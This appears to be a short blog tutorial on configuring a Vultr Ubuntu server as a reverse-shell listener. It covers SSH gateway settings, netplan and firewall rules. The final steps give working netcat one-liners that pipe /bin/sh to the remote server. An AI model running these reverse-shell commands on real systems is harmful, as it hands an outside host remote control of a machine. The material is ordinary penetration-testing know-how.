Setting up a reverse shell with Vultr

04/12/2022

I've used Linode in the past but started experimenting with Vultr and struggled to find the information I needed to get a reverse shell to work. Below are the steps that worked for me:

  1. Deploy a new Ubuntu 18.04 LTS x64 server
  2. ssh into it and change configs with:
nano /etc/ssh/sshd_config
  • Find GatewayPorts no and change it to GatewayPorts yes, and toggle PermitTunnel yes.
  • Add Port 81.
  1. Run service ssh restart
  2. Navigate to the server's page > Settings > click on the network configurations link and follow the steps for the right type of server. -> populate the /etc/netplan/10-ens3.yaml file with text that looks like:
network:
  version: 2
  renderer: networkd
  ethernets:
    enp1s0:
      dhcp4: no
...
  1. Check the connections that are allowed with ufw status then enable connection to other ports with ufw allow <port>, for example ufw allow 80
  2. Check if it worked by running ufw status again and if needed, run service ssh restart
  3. In one terminal window logged into the server, run nc -lvp 80 -s server-ip-address, and in another one, run nc -lvp 22 -s server-ip-address.
  4. In a separate window not connected to the server, run nc server-ip-address 80 | /bin/sh | nc server-ip-address 22.

Now, any command run on port 80 should show the result in the other terminal window (port 22).

Alternatively, the reverse shell can also be run only on port 80 with the command nc -l 80 -s server-ip-address and the command nc server-ip-address 80 -e /bin/sh.